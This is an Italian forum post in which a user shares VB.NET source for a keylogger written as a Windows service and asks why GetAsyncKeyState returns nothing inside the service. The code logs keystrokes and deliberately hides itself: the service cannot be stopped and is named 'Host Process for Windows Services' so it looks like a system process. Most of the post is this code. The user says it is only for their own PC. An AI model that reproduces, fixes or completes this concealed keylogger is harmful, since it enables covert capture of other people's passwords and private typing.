Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
C# / VB.NET - VB.NET Servizi Windows e API
Forum - C# / VB.NET - VB.NET Servizi Windows e API

Avatar
nabbopazzo (Normal User)
Rookie


Messaggi: 34
Iscritto: 19/01/2009

Segnala al moderatore
Postato alle 0:25
Venerdì, 22/05/2009
Salve a tutti!
Vorrei fare un keylogger (in locale ovviamente) per controllare se e cosa qualcuno digita nel mio computer mentre non ci sono.
Siccome vorrei fare una cosa il più possibile nascosto e incancellabile ho usato un servizio di windows non stoppabile.
Questo è il codice:

Codice sorgente - presumibilmente VB.NET

  1. Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Boolean
  2.     Private t As New System.Timers.Timer(3600000)
  3.     Private s As New System.Timers.Timer(1)
  4.     Dim tasti As String
  5.     Dim Cnt As Integer
  6.     Dim sOld, sSave, Ret As String
  7. #Region " Component Designer generated code "
  8.  
  9.     Public Sub New()
  10.         MyBase.New()
  11.  
  12.         ' This call is required by the Component Designer.
  13.         InitializeComponent()
  14.  
  15.         ' Add any initialization after the InitializeComponent() call
  16.  
  17.     End Sub
  18.  
  19.     'UserService overrides dispose to clean up the component list.
  20.     Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
  21.         If disposing Then
  22.             If Not (components Is Nothing) Then
  23.                 components.Dispose()
  24.             End If
  25.         End If
  26.         MyBase.Dispose(disposing)
  27.     End Sub
  28.  
  29.     ' The main entry point for the process
  30.     <MTAThread()> _
  31.     Shared Sub Main()
  32.         Dim ServicesToRun() As System.ServiceProcess.ServiceBase
  33.  
  34.         ' More than one NT Service may run within the same process. To add
  35.         ' another service to this process, change the following line to
  36.         ' create a second service object. For example,
  37.         '
  38.         '   ServicesToRun = New System.ServiceProcess.ServiceBase () {New Service1, New MySecondUserService}
  39.         '
  40.         ServicesToRun = New System.ServiceProcess.ServiceBase() {New checkService}
  41.  
  42.         System.ServiceProcess.ServiceBase.Run(ServicesToRun)
  43.     End Sub
  44.  
  45.     'Required by the Component Designer
  46.     Private components As System.ComponentModel.IContainer
  47.  
  48.     ' NOTE: The following procedure is required by the Component Designer
  49.     ' It can be modified using the Component Designer.  
  50.     ' Do not modify it using the code editor.
  51.     <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
  52.         '
  53.         'checkService
  54.         '
  55.         Me.AutoLog = False
  56.         Me.CanShutdown = True
  57.         Me.CanStop = False
  58.         Me.ServiceName = "Host Process for Windows Services"
  59.  
  60.     End Sub
  61.  
  62. #End Region
  63.  
  64.     Protected Overrides Sub OnStart(ByVal args() As String)
  65.         loadVariables()
  66.         t.Enabled = True
  67.         s.Enabled = True
  68.     End Sub
  69.  
  70.     Protected Overrides Sub OnStop()
  71.                t.Enabled = False
  72.         s.Enabled = False
  73.     End Sub
  74.  
  75.     Private Sub loadVariables()
  76.         'handler del timer
  77.         AddHandler t.Elapsed, AddressOf TimerFired
  78.         AddHandler s.Elapsed, AddressOf TimerFired1
  79.           End Sub
  80.  
  81.    
  82.     Public Sub TimerFired1(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs)
  83.                Ret = GetPressedKey()
  84.         If Ret <> sOld Then
  85.             sOld = Ret
  86.             If sOld = Chr(8) Then
  87.                 sSave = sSave.Remove(sSave.Length - 1, 1)
  88.             Else
  89.                 sSave = sSave & sOld
  90.                 sSave = sSave.Replace("", "")
  91.                 sSave = sSave.Replace("¢¥", " |AltGr|+")
  92.             End If
  93.  
  94.         End If
  95.     End Sub
  96.  
  97.     Function GetPressedKey() As String
  98.         Dim items As Array
  99.         Dim item As Long
  100.         Dim tipo As Type = GetType(Windows.Forms.Keys)
  101.         items = System.Enum.GetValues(tipo)
  102.         For Each item In items
  103.             If GetAsyncKeyState(item) Then
  104.                 If item >= 96 And item <= 105 Then
  105.                     item = item - 48
  106.                 End If
  107.  
  108.                 GetPressedKey = Chr(item)
  109.  
  110.                 If item = 186 Then
  111.                     GetPressedKey = "è"
  112.                 ElseIf item = 106 Then
  113.                     GetPressedKey = "*"
  114.                 ElseIf item = 46 Then
  115.                     GetPressedKey = " |canc| "
  116.                 ElseIf item = 111 Then
  117.                     GetPressedKey = "/"
  118.                 ElseIf item = 197 Or item = 107 Then
  119.                     GetPressedKey = "+"
  120.                 ElseIf item = 188 Then
  121.                     GetPressedKey = ","
  122.                 ElseIf item = 189 Or item = 109 Then
  123.                     GetPressedKey = "-"
  124.                 ElseIf item = 190 Then
  125.                     GetPressedKey = "."
  126.                 ElseIf item = 191 Then
  127.                     GetPressedKey = "ù"
  128.                 ElseIf item = 192 Then
  129.                     GetPressedKey = "ò"
  130.                 ElseIf item = 219 Then
  131.                     GetPressedKey = "'"
  132.                 ElseIf item = 220 Then
  133.                     GetPressedKey = "\"
  134.                 ElseIf item = 221 Then
  135.                     GetPressedKey = "ì"
  136.                 ElseIf item = 160 Or item = 161 Then
  137.                     GetPressedKey = "+|shift|"
  138.                 End If
  139.                 Exit For
  140.             End If
  141.         Next
  142.     End Function



Il problema è che in questo servizio l'API GetAsyncKeyState non restituisce mai True mentre in una normale applicazione si, come dovrei fare per renderla operativa?
P.S.: Non iniziate a dire "i keylogger sono vietati" e simili, ho detto che mi serve per il mio pc anzichè usarne uno hardware.
Grazie

Ultima modifica effettuata da nabbopazzo il 22/05/2009 alle 0:26
PM Quote